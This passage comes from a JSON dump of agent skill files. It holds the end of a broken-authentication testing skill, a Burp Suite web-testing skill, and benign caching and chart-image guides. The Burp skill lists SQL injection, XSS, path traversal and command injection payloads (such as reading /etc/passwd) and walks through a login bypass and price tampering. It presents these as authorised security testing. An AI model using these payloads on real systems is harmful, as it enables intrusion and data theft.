Reuse: Try using same token twice\n# Expiration: Wait 24+ hours and retry\n# Modification: Change characters in token\n\n# Step 4: Test for user parameter manipulation\nhttps://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com\n# Check if admin's password can be reset with test user's token\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |\n| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |\n| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |\n| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |\n","frontmatter":{"name":"broken-authentication","description":"This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3067,"sizeBytes":12606},{"name":"SKILL.md","path":"skills/burp-suite-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/burp-suite-testing/SKILL.md","title":"burp-suite-testing","category":"anthropic-skill","format":"markdown","content":"---\nname: burp-suite-testing\ndescription: This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Burp Suite Web Application Testing\n\n## Purpose\n\nExecute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.\n\n## Inputs / Prerequisites\n\n### Required Tools\n- Burp Suite Community or Professional Edition installed\n- Burp's embedded browser or configured external browser\n- Target web application URL\n- Valid credentials for authenticated testing (if applicable)\n\n### Environment Setup\n- Burp Suite launched with temporary or named project\n- Proxy listener active on 127.0.0.1:8080 (default)\n- Browser configured to use Burp proxy (or use Burp's browser)\n- CA certificate installed for HTTPS interception\n\n### Editions Comparison\n| Feature | Community | Professional |\n|---------|-----------|--------------|\n| Proxy | ✓ | ✓ |\n| Repeater | ✓ | ✓ |\n| Intruder | Limited | Full |\n| Scanner | ✗ | ✓ |\n| Extensions | ✓ | ✓ |\n\n## Outputs / Deliverables\n\n### Primary Outputs\n- Intercepted and modified HTTP requests/responses\n- Vulnerability scan reports with remediation advice\n- HTTP history and site map documentation\n- Proof-of-concept exploits for identified vulnerabilities\n\n## Core Workflow\n\n### Phase 1: Intercepting HTTP Traffic\n\n#### Launch Burp's Browser\nNavigate to integrated browser for seamless proxy integration:\n\n1. Open Burp Suite and create/open project\n2. Go to **Proxy > Intercept** tab\n3. Click **Open Browser** to launch preconfigured browser\n4. Position windows to view both Burp and browser simultaneously\n\n#### Configure Interception\nControl which requests are captured:\n\n```\nProxy > Intercept > Intercept is on/off toggle\n\nWhen ON: Requests pause for review/modification\nWhen OFF: Requests pass through, logged to history\n```\n\n#### Intercept and Forward Requests\nProcess intercepted traffic:\n\n1. Set intercept toggle to **Intercept on**\n2. Navigate to target URL in browser\n3. Observe request held in Proxy > Intercept tab\n4. Review request contents (headers, parameters, body)\n5. Click **Forward** to send request to server\n6. Continue forwarding subsequent requests until page loads\n\n#### View HTTP History\nAccess complete traffic log:\n\n1. Go to **Proxy > HTTP history** tab\n2. Click any entry to view full request/response\n3. Sort by clicking column headers (# for chronological order)\n4. Use filters to focus on relevant traffic\n\n### Phase 2: Modifying Requests\n\n#### Intercept and Modify\nChange request parameters before forwarding:\n\n1. Enable interception: **Intercept on**\n2. Trigger target request in browser\n3. Locate parameter to modify in intercepted request\n4. Edit value directly in request editor\n5. Click **Forward** to send modified request\n\n#### Common Modification Targets\n| Target | Example | Purpose |\n|--------|---------|---------|\n| Price parameters | `price=1` | Test business logic |\n| User IDs | `userId=admin` | Test access control |\n| Quantity values | `qty=-1` | Test input validation |\n| Hidden fields | `isAdmin=true` | Test privilege escalation |\n\n#### Example: Price Manipulation\n\n```http\nPOST /cart HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nproductId=1&quantity=1&price=100\n\n# Modify to:\nproductId=1&quantity=1&price=1\n```\n\nResult: Item added to cart at modified price.\n\n### Phase 3: Setting Target Scope\n\n#### Define Scope\nFocus testing on specific target:\n\n1. Go to **Target > Site map**\n2. Right-click target host in left panel\n3. Select **Add to scope**\n4. When prompted, click **Yes** to exclude out-of-scope traffic\n\n#### Filter by Scope\nRemove noise from HTTP history:\n\n1. Click display filter above HTTP history\n2. Select **Show only in-scope items**\n3. History now shows only target site traffic\n\n#### Scope Benefits\n- Reduces clutter from third-party requests\n- Prevents accidental testing of out-of-scope sites\n- Improves scanning efficiency\n- Creates cleaner reports\n\n### Phase 4: Using Burp Repeater\n\n#### Send Request to Repeater\nPrepare request for manual testing:\n\n1. Identify interesting request in HTTP history\n2. Right-click request and select **Send to Repeater**\n3. Go to **Repeater** tab to access request\n\n#### Modify and Resend\nTest different inputs efficiently:\n\n```\n1. View request in Repeater tab\n2. Modify parameter values\n3. Click Send to submit request\n4. Review response in right panel\n5. Use navigation arrows to review request history\n```\n\n#### Repeater Testing Workflow\n\n```\nOriginal Request:\nGET /product?productId=1 HTTP/1.1\n\nTest 1: productId=2    → Valid product response\nTest 2: productId=999  → Not Found response  \nTest 3: productId='    → Error/exception response\nTest 4: productId=1 OR 1=1 → SQL injection test\n```\n\n#### Analyze Responses\nLook for indicators of vulnerabilities:\n\n- Error messages revealing stack traces\n- Framework/version information disclosure\n- Different response lengths indicating logic flaws\n- Timing differences suggesting blind injection\n- Unexpected data in responses\n\n### Phase 5: Running Automated Scans\n\n#### Launch New Scan\nInitiate vulnerability scanning (Professional only):\n\n1. Go to **Dashboard** tab\n2. Click **New scan**\n3. Enter target URL in **URLs to scan** field\n4. Configure scan settings\n\n#### Scan Configuration Options\n\n| Mode | Description | Duration |\n|------|-------------|----------|\n| Lightweight | High-level overview | ~15 minutes |\n| Fast | Quick vulnerability check | ~30 minutes |\n| Balanced | Standard comprehensive scan | ~1-2 hours |\n| Deep | Thorough testing | Several hours |\n\n#### Monitor Scan Progress\nTrack scanning activity:\n\n1. View task status in **Dashboard**\n2. Watch **Target > Site map** update in real-time\n3. Check **Issues** tab for discovered vulnerabilities\n\n#### Review Identified Issues\nAnalyze scan findings:\n\n1. Select scan task in Dashboard\n2. Go to **Issues** tab\n3. Click issue to view:\n   - **Advisory**: Description and remediation\n   - **Request**: Triggering HTTP request\n   - **Response**: Server response showing vulnerability\n\n### Phase 6: Intruder Attacks\n\n#### Configure Intruder\nSet up automated attack:\n\n1. Send request to Intruder (right-click > Send to Intruder)\n2. Go to **Intruder** tab\n3. Define payload positions using § markers\n4. Select attack type\n\n#### Attack Types\n\n| Type | Description | Use Case |\n|------|-------------|----------|\n| Sniper | Single position, iterate payloads | Fuzzing one parameter |\n| Battering ram | Same payload all positions | Credential testing |\n| Pitchfork | Parallel payload iteration | Username:password pairs |\n| Cluster bomb | All payload combinations | Full brute force |\n\n#### Configure Payloads\n\n```\nPositions Tab:\nPOST /login HTTP/1.1\n...\nusername=§admin§&password=§password§\n\nPayloads Tab:\nSet 1: admin, user, test, guest\nSet 2: password, 123456, admin, letmein\n```\n\n#### Analyze Results\nReview attack output:\n\n- Sort by response length to find anomalies\n- Filter by status code for successful attempts\n- Use grep to search for specific strings\n- Export results for documentation\n\n## Quick Reference\n\n### Keyboard Shortcuts\n| Action | Windows/Linux | macOS |\n|--------|---------------|-------|\n| Forward request | Ctrl+F | Cmd+F |\n| Drop request | Ctrl+D | Cmd+D |\n| Send to Repeater | Ctrl+R | Cmd+R |\n| Send to Intruder | Ctrl+I | Cmd+I |\n| Toggle intercept | Ctrl+T | Cmd+T |\n\n### Common Testing Payloads\n\n```\n# SQL Injection\n' OR '1'='1\n' OR '1'='1'--\n1 UNION SELECT NULL--\n\n# XSS\n<script>alert(1)</script>\n\"><img src=x onerror=alert(1)>\njavascript:alert(1)\n\n# Path Traversal\n../../../etc/passwd\n..\\..\\..\\..\\windows\\win.ini\n\n# Command Injection\n; ls -la\n| cat /etc/passwd\n`whoami`\n```\n\n### Request Modification Tips\n- Right-click for context menu options\n- Use decoder for encoding/decoding\n- Compare requests using Comparer tool\n- Save interesting requests to project\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Test only authorized applications\n- Configure scope to prevent accidental out-of-scope testing\n- Rate-limit scans to avoid denial of service\n- Document all findings and actions\n\n### Technical Limitations\n- Community Edition lacks automated scanner\n- Some sites may block proxy traffic\n- HSTS/certificate pinning may require additional configuration\n- Heavy scanning may trigger WAF blocks\n\n### Best Practices\n- Always set target scope before extensive testing\n- Use Burp's browser for reliable interception\n- Save project regularly to preserve work\n- Review scan results manually for false positives\n\n## Examples\n\n### Example 1: Business Logic Testing\n\n**Scenario**: E-commerce price manipulation\n\n1. Add item to cart normally, intercept request\n2. Identify `price=9999` parameter in POST body\n3. Modify to `price=1`\n4. Forward request\n5. Complete checkout at manipulated price\n\n**Finding**: Server trusts client-provided price values.\n\n### Example 2: Authentication Bypass\n\n**Scenario**: Testing login form\n\n1. Submit valid credentials, capture request in Repeater\n2. Send to Repeater for testing\n3. Try: `username=admin' OR '1'='1'--`\n4. Observe successful login response\n\n**Finding**: SQL injection in authentication.\n\n### Example 3: Information Disclosure\n\n**Scenario**: Error-based information gathering\n\n1. Navigate to product page, observe `productId` parameter\n2. Send request to Repeater\n3. Change `productId=1` to `productId=test`\n4. Observe verbose error revealing framework version\n\n**Finding**: Apache Struts 2.5.12 disclosed in stack trace.\n\n## Troubleshooting\n\n### Browser Not Connecting Through Proxy\n- Verify proxy listener is active (Proxy > Options)\n- Check browser proxy settings point to 127.0.0.1:8080\n- Ensure no firewall blocking local connections\n- Use Burp's embedded browser for reliable setup\n\n### HTTPS Interception Failing\n- Install Burp CA certificate in browser/system\n- Navigate to http://burp to download certificate\n- Add certificate to trusted roots\n- Restart browser after installation\n\n### Slow Performance\n- Limit scope to reduce processing\n- Disable unnecessary extensions\n- Increase Java heap size in startup options\n- Close unused Burp tabs and features\n\n### Requests Not Being Intercepted\n- Verify \"Intercept on\" is enabled\n- Check intercept rules aren't filtering target\n- Ensure browser is using Burp proxy\n- Verify target isn't using unsupported protocol\n","frontmatter":{"name":"burp-suite-testing","description":"This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2458,"sizeBytes":10902},{"name":"SKILL.md","path":"skills/caching/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/caching/SKILL.md","title":"caching","category":"anthropic-skill","format":"markdown","content":"---\nname: caching\ndescription: Caching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic.\n---\n## WHEN_TO_USE\n\n- When implementing a cache layer (in-memory, Redis, CDN) for an API or service.\n- When choosing TTL values or invalidation strategies for cached data.\n- When designing cache key schemas to avoid collisions or stale-data bugs.\n- When reviewing code that reads from or writes to any cache.\n- When debugging stale data, cache stampedes, or inconsistent responses.\n- When configuring TanStack Query `staleTime`/`gcTime` for client-side caching.\n\n## INVALIDATION\n\n- [P0-MUST] Define an invalidation strategy for every cache. Stale data is worse than no cache.\n- [P0-MUST] Invalidate caches when the underlying data changes — do not rely solely on TTL expiry.\n- [P1-SHOULD] Prefer event-driven invalidation (on write/update/delete) over time-based expiry alone.\n- [P1-SHOULD] Use cache versioning (include a version key) when data schemas change.\n\n## TTL_GUIDELINES\n\n- [P1-SHOULD] Set TTLs based on data volatility: static config (hours/days), user profiles (minutes), real-time data (seconds or no cache).\n- [P1-SHOULD] Use stale-while-revalidate: serve stale data immediately while refreshing in the background.\n- [P2-MAY] Use shorter TTLs in development and longer TTLs in production.\n\n## CACHE_KEYS\n\n- [P0-MUST] Include all query parameters that affect the result in the cache key.\n- [P1-SHOULD] Use a consistent key format: `<entity>:<id>:<variant>` (e.g., `user:123:profile`, `products:list:page=2`).\n- [P1-SHOULD] Namespace keys by service or module to prevent collisions.\n- [P2-MAY] Hash long or complex keys to keep storage efficient.\n\n## CACHE_LAYERS\n\n- [P1-SHOULD] Use the appropriate cache layer for the use case:\n\n| Layer | Best For | TTL Range |\n|-------|----------|-----------|\n| In-memory (Map, LRU) | Hot data, single-instance apps | Seconds to minutes |\n| Redis / Memcached | Shared cache across instances, sessions | Minutes to hours |\n| CDN / Edge | Static assets, public API responses | Hours to days |\n| HTTP cache headers | Browser caching, API responses | Varies by resource |\n\n- [P1-SHOULD] Layer caches: check memory → Redis → origin. Write-through on miss.\n\n## WHEN_NOT_TO_CACHE\n\n- [P0-MUST] Do not cache user-specific sensitive data (auth tokens, payment info) in shared caches.\n- [P1-SHOULD] Do not cache rapidly changing data where staleness causes incorrect behavior (inventory counts, real-time pricing).\n- [P1-SHOULD] Do not cache error responses — use short TTL or skip caching on failure.\n- [P2-MAY] Avoid caching when the computation is cheap and the data set is small.\n\n## CODE_EXAMPLES\n\n### In-memory LRU cache with TTL\n\n```ts\nconst cache = new Map<string, { value: unknown; expires: number }>();\nconst MAX_SIZE = 500;\n\nexport function getOrSet<T>(key: string, ttlMs: number, compute: () => T): T {\n  const entry = cache.get(key);\n  if (entry && entry.expires > Date.now()) return entry.value as T;\n\n  const value = compute();\n  if (cache.size >= MAX_SIZE) {\n    // Evict oldest entry (first inserted)\n    const oldest = cache.keys().next().value!;\n    cache.delete(oldest);\n  }\n  cache.set(key, { value, expires: Date.now() + ttlMs });\n  return value;\n}\n```\n\n### Redis stale-while-revalidate with ioredis\n\n```ts\nimport Redis from \"ioredis\";\nconst redis = new Redis(process.env.REDIS_URL);\n\nexport async function swr<T>(\n  key: string,\n  freshSec: number,\n  staleSec: number,\n  fetcher: () => Promise<T>,\n): Promise<T> {\n  const raw = await redis.get(key);\n  if (raw) {\n    const { value, createdAt } = JSON.parse(raw) as { value: T; createdAt: number };\n    const ageMs = Date.now() - createdAt;\n    if (ageMs < freshSec * 1000) return value; // Fresh — return immediately\n    if (ageMs < staleSec * 1000) {\n      // Stale — return cached, refresh in background\n      fetcher().then((v) =>\n        redis.set(key, JSON.stringify({ value: v, createdAt: Date.now() }), \"EX\", staleSec),\n      );\n      return value;\n    }\n  }\n  const value = await fetcher();\n  await redis.set(key, JSON.stringify({ value, createdAt: Date.now() }), \"EX\", staleSec);\n  return value;\n}\n```\n\n### HTTP cache headers in Express/Hono\n\n```ts\n// Immutable assets (hashed filenames)\napp.use(\"/assets\", (_, res, next) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=31536000, immutable\");\n  next();\n});\n\n// API responses — short cache with revalidation\napp.get(\"/api/products\", (_, res) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=60, stale-while-revalidate=300\");\n  res.json(products);\n});\n```\n\n### TanStack Query cache configuration\n\n```tsx\nimport { QueryClient, QueryClientProvider } from \"@tanstack/react-query\";\n\nconst queryClient = new QueryClient({\n  defaultOptions: {\n    queries: {\n      staleTime: 5 * 60 * 1000, // Data fresh for 5 minutes\n      gcTime: 30 * 60 * 1000,   // Garbage-collect after 30 minutes\n      retry: 2,\n      refetchOnWindowFocus: false,\n    },\n  },\n});\n\n// Usage in a component\nconst { data } = useQuery({\n  queryKey: [\"products\", { page, category }], // Cache key includes params\n  queryFn: () => fetchProducts({ page, category }),\n});\n```\n\n## ANTI_PATTERNS\n\n- **Cache-and-forget** — Caching data with no invalidation strategy. Data goes stale permanently.\n  - Instead: define explicit invalidation (event-driven on write, or bounded TTL) for every cache key.\n\n- **Uniform TTL** — Using the same TTL (e.g., 1 hour) for all data regardless of volatility.\n  - Instead: match TTL to data change frequency — seconds for prices, minutes for profiles, hours for configs.\n\n- **Missing key parameters** — Cache key omits user ID, locale, or query params, serving wrong data.\n  - Instead: include every parameter that affects the result: `products:list:page=2:locale=en`.\n\n- **Caching errors** — Storing error responses (500s, timeouts) with long TTLs.\n  - Instead: skip caching on failure, or use a very short TTL (5-10 seconds) to allow fast retry.\n\n- **Cache stampede** — All instances hit the origin simultaneously when a popular key expires.\n  - Instead: use stale-while-revalidate, jittered TTLs, or a mutex lock to let one instance refresh.\n","frontmatter":{"name":"caching","description":"Caching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic."},"isInternal":false,"tokens":1579,"sizeBytes":6223},{"name":"README.md","path":"skills/chart-image/README.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/chart-image/README.md","title":"Chart-image Skill","category":"anthropic-skill","format":"markdown","content":"# 📊 chart-image\n\n**Publication-quality chart images from data. No browser, no Puppeteer, no native compilation.**\n\nGenerate beautiful PNG charts directly from JSON data — perfect for bots, dashboards, alerts, and automated reports. Runs anywhere Node.js runs.\n\n![Line chart example](readme-assets/framed-line.png)\n\n## Why chart-image?\n\nMost chart libraries need a browser (Puppeteer, Playwright) or native dependencies (`canvas`, `cairo`). That means 400MB+ installs, painful Docker builds, and slow cold starts.\n\n**chart-image uses Vega-Lite + Sharp with prebuilt binaries:**\n\n| | chart-image | Puppeteer + Chart.js | QuickChart.io |\n|---|---|---|---|\n| **Install size** | ~15MB | ~400MB+ | 0 (API) |\n| **Native deps** | None | Chromium | N/A |\n| **Cold start** | <500ms | 2-5s | Network latency |\n| **Offline** | ✅ | ✅ | ❌ |\n| **Fly.io/Docker** | Just works | Pain | Depends on uptime |\n\n## Install\n\n### Via ClawHub (recommended)\n```bash\nclawhub install chart-image\n```\n\n### Manual\n```bash\ngit clone https://github.com/Cluka-399/chart-image.git skills/chart-image\ncd skills/chart-image/scripts && npm install\n```\n\n## Quick Start\n\n```bash\nnode scripts/chart.mjs \\\n  --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":10},{\"x\":\"Tue\",\"y\":25},{\"x\":\"Wed\",\"y\":18}]' \\\n  --title \"Weekly Trend\" \\\n  --dark \\\n  --output chart.png\n```\n\nThat's it. One command, one PNG.\n\n---\n\n## Chart Types\n\n### 📈 Line Chart\n\nTrack trends over time. The default chart type.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":142},{\"x\":\"Tue\",\"y\":148},{\"x\":\"Wed\",\"y\":145},{\"x\":\"Thu\",\"y\":155},{\"x\":\"Fri\",\"y\":162}]' \\\n  --title \"AAPL Weekly Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --output chart.png\n```\n\n![Line chart](readme-assets/framed-line.png)\n\n### 📊 Bar Chart\n\nCompare categories side by side.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"x\":\"React\",\"y\":45},{\"x\":\"Vue\",\"y\":28},{\"x\":\"Svelte\",\"y\":15},{\"x\":\"Angular\",\"y\":12}]' \\\n  --title \"Framework Usage %\" --output chart.png\n```\n\n![Bar chart](readme-assets/framed-bar.png)\n\n### 🌊 Area Chart\n\nLike line charts, but with filled regions to emphasize volume.\n\n```bash\nnode scripts/chart.mjs --type area \\\n  --data '[{\"x\":\"Jan\",\"y\":100},{\"x\":\"Feb\",\"y\":250},{\"x\":\"Mar\",\"y\":180},{\"x\":\"Apr\",\"y\":420},{\"x\":\"May\",\"y\":380},{\"x\":\"Jun\",\"y\":520}]' \\\n  --title \"Monthly Signups\" --dark --output chart.png\n```\n\n![Area chart](readme-assets/framed-area.png)\n\n### 🍩 Donut / Pie Chart\n\nShow proportions at a glance. Use `--type pie` for a solid circle or `--type donut` for the ring style.\n\n```bash\nnode scripts/chart.mjs --type donut \\\n  --data '[{\"x\":\"Desktop\",\"y\":58},{\"x\":\"Mobile\",\"y\":35},{\"x\":\"Tablet\",\"y\":7}]' \\\n  --title \"Traffic by Device\" --dark --output chart.png\n```\n\n![Donut chart](readme-assets/framed-donut.png)\n\n### 📉 Multi-Series Line\n\nCompare multiple trends on one chart using `--series-field`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Q1\",\"y\":30,\"series\":\"2024\"},{\"x\":\"Q2\",\"y\":45,\"series\":\"2024\"},{\"x\":\"Q3\",\"y\":52,\"series\":\"2024\"},{\"x\":\"Q4\",\"y\":61,\"series\":\"2024\"},{\"x\":\"Q1\",\"y\":40,\"series\":\"2025\"},{\"x\":\"Q2\",\"y\":58,\"series\":\"2025\"},{\"x\":\"Q3\",\"y\":72,\"series\":\"2025\"}]' \\\n  --title \"Revenue Growth\" --y-title \"Revenue ($M)\" \\\n  --series-field series --dark --legend top --output chart.png\n```\n\n![Multi-series chart](readme-assets/framed-multi.png)\n\n### 📏 Horizontal Reference Lines\n\nAdd thresholds, targets, or buy prices with `--hline`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Jan 1\",\"y\":0.00072},{\"x\":\"Jan 5\",\"y\":0.00085},{\"x\":\"Jan 10\",\"y\":0.00091},{\"x\":\"Jan 15\",\"y\":0.00078},{\"x\":\"Jan 20\",\"y\":0.00062},{\"x\":\"Jan 25\",\"y\":0.00071}]' \\\n  --title \"Token Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --hline \"0.0008,#e63946,Buy Price\" --output chart.png\n```\n\n![Reference line chart](readme-assets/framed-hline.png)\n\n### 🎨 Conditional Colors\n\nColor bars/points based on a threshold — great for KPI dashboards.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"month\":\"Jan\",\"score\":72},{\"month\":\"Feb\",\"score\":45},{\"month\":\"Mar\",\"score\":38},{\"month\":\"Apr\",\"score\":61},{\"month\":\"May\",\"score\":29},{\"month\":\"Jun\",\"score\":55},{\"month\":\"Jul\",\"score\":82},{\"month\":\"Aug\",\"score\":47},{\"month\":\"Sep\",\"score\":68},{\"month\":\"Oct\",\"score\":34},{\"month\":\"Nov\",\"score\":76},{\"month\":\"Dec\",\"score\":91}]' \\\n  --x-field month --y-field score --x-sort none \\\n  --conditional-color \"50,#e63946,#2a9d8f\" --hline \"50,#888,Target\" \\\n  --title \"Monthly Performance Score\" --subtitle \"Target: 50\" --dark\n```\n\n![Conditional color chart](readme-assets/framed-conditional.png)\n\n### ↔️ Horizontal Bar Charts\n\nFlip axes for leaderboards, rankings, or long category names.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"lang\":\"Python\",\"stars\":95},{\"lang\":\"JavaScript\",\"stars\":82},{\"lang\":\"TypeScript\",\"stars\":78},{\"lang\":\"Rust\",\"stars\":71},{\"lang\":\"Go\",\"stars\":63},{\"lang\":\"Java\",\"stars\":58},{\"lang\":\"C++\",\"stars\":45},{\"lang\":\"Swift\",\"stars\":38}]' \\\n  --x-field lang --y-field stars --horizontal --sort desc \\\n  --conditional-color \"60,#e63946,#2a9d8f\" --bar-labels \\\n  --title \"GitHub Stars by Language\" --dark\n```\n\n![Horizontal bar chart](readme-assets/framed-horizontal-bar.png)\n\n### More Chart Types\n\n- **`point`** — Scatter plot\n- **`candlestick`** — OHLC financial charts (`--open-field`, `--high-field`, `--low-field`, `--close-field`)\n- **`heatmap`** — Grid visualization (`--color-value-field`, `--color-scheme viridis`)\n- **Stacked bars** — `--type bar --stacked --color-field category`\n- **Volume overlay** — Dual Y-axis with `--volume-field`\n- **Sparkline** — Tiny inline charts with `--sparkline` (80×20, no axes)\n\n---\n\n## Shorthand Syntax\n\nDon't want to write JSON? Use the shorthand format:\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data \"Mon:10,Tue:25,Wed:18,Thu:30,Fri:22,Sat:35,Sun:28\" \\\n  --title \"Weekly Activity\" --dark --output chart.png\n```\n\n![Shorthand example](readme-assets/framed-shorthand.png)\n\nFormat: `label:value,label:value,...`\n\n---\n\n## Dark Mode & Light Mode\n\nUse `--dark` for dark backgrounds (great for Discord, Slack, dark dashboards):\n\n![Dark mode](readme-assets/framed-horizontal.png)\n\nOmit `--dark` for light mode (reports, emails, light UIs):\n\n![Light mode](readme-assets/framed-bar.png)\n\n**Tip for bots:** Auto-switch based on time of day — `--dark` between 20:00–07:00.\n\n---\n\n## Alert-Style Charts\n\nBuilt-in options for monitoring and alerting use cases:\n\n```bash\nnode scripts/chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\n| Flag | Effect |\n|------|--------|\n| `--show-change` | Annotates % change from first to last value |\n| `--focus-change` | Zooms Y-axis to 2× data range for drama |\n| `--focus-recent N` | Shows only the last N data points |\n| `--show-values` | Labels min/max peaks on the chart |\n\n---\n\n## Piping Data\n\nRead from stdin:\n\n```bash\ncurl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node scripts/chart.mjs --output out.png\n```\n\n---\n\n## Options Reference\n\n### Core\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | `line`, `bar`, `area`, `point`, `pie`, `donut`, `candlestick`, `heatmap` | `line` |\n| `--data` | JSON array or shorthand `key:val,...` | stdin |\n| `--output` | Output file path | `chart.png` |\n| `--title` | Chart title | — |\n| `--subtitle` | Subtitle below title | — |\n| `--width` | Width in px | `600` |\n| `--height` | Height in px | `300` |\n| `--dark` | Dark theme | `false` |\n| `--svg` | Output SVG instead of PNG | `false` |\n\n### Axes\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | X axis field name | `x` |\n| `--y-field` | Y axis field name | `y` |\n| `--x-title` / `--y-title` | Axis labels | field name |\n| `--x-type` | `ordinal`, `temporal`, `quantitative` | `ordinal` |\n| `--y-domain` | Y range as `\"min,max\"` | auto |\n| `--y-format` | `percent`, `dollar`, `compact`, `decimal4`, `integer`, `scientific` | auto |\n\n### Styling\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Primary color | `#e63946` |\n| `--color-scheme` | Vega scheme (e.g. `viridis`, `category10`) | — |\n| `--no-grid` | Remove gridlines | `false` |\n| `--legend` | `top`, `bottom`, `left`, `right`, `none` | — |\n| `--hline` | Reference line: `\"value,color,label\"` (repeatable) | — |\n\n### Multi-Series\n| Option | Description |\n|--------|-------------|\n| `--series-field` | Field to split into multiple lines |\n| `--stacked` | Stack bars/areas |\n| `--color-field` | Field for color encoding |\n\n### Annotations\n| Option | Description |\n|--------|-------------|\n| `--show-change` | Show % change annotation |\n| `--focus-change` | Zoom Y to highlight change |\n| `--focus-recent N` | Show last N points only |\n| `--show-values` | Label min/max peaks |\n| `--annotations` | JSON array of event markers: `[{\"x\":\"14:00\",\"label\":\"News\"}]` |\n\n---\n\n## Y-Axis Formatting\n\n```bash\n--y-format dollar    # → $1,234.56\n--y-format percent   # → 45.2%\n--y-format compact   # → 1.2K, 3.4M\n--y-format decimal4  # → 0.0004\n--y-format integer   # → 1,234\n```\n\nOr pass any [d3-format](https://github.com/d3/d3-format) string: `--y-format ',.3f'`\n\n---\n\n## Designed for Fly.io / VPS / Docker\n\nThis skill was built specifically for headless server environments where you can't (or don't want to) install a browser:\n\n- **Fly.io** — Works out of the box on `flyctl deploy`. No special Dockerfile needed.\n- **Docker** — No `apt-get install` for Cairo/Pango/etc. Just `npm install`.\n- **VPS** — Runs on any machine with Node.js 18+. No GPU, no display server.\n- **CI/CD** — Generate charts in GitHub Actions, GitLab CI, etc.\n\nThe secret: [Vega-Lite](https://vega.github.io/vega-lite/) renders to SVG natively, then [Sharp](https://sharp.pixelplumbing.com/) (with prebuilt libvips binaries) converts to PNG. No browser in the loop.\n\n---\n\n## License\n\nMIT\n\n---\n\n<p align=\"center\">\n  <sub>Built by <a href=\"https://clawhub.ai/u/Cluka-399\">@Cluka-399</a> · Published on <a href=\"https://clawhub.ai\">ClawHub</a> · <a href=\"https://github.com/Cluka-399/chart-image\">GitHub</a></sub>\n</p>\n","isInternal":false,"tokens":3070,"sizeBytes":10302},{"name":"package.json","path":"skills/chart-image/scripts/package.json","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/chart-image/scripts/package.json","title":"chart-image-scripts","category":"anthropic-skill","format":"json","content":"{\n  \"name\": \"chart-image-scripts\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"vega\": \"^5.30.0\",\n    \"vega-lite\": \"^5.21.0\",\n    \"sharp\": \"^0.33.0\"\n  }\n}\n","frontmatter":{"name":"chart-image-scripts","type":"module","dependencies":{"vega":"^5.30.0","vega-lite":"^5.21.0","sharp":"^0.33.0"}},"isInternal":false,"tokens":61,"sizeBytes":155},{"name":"SKILL.md","path":"skills/chart-image/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/chart-image/SKILL.md","title":"chart-image","category":"anthropic-skill","format":"markdown","content":"---\nname: chart-image\nversion: 2.5.1\ndescription: \"Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser.\"\n---\n\n# Chart Image Generator\n\nGenerate PNG chart images from data using Vega-Lite. Perfect for headless server environments.\n\n## Why This Skill?\n\n**Built for Fly.io / VPS / 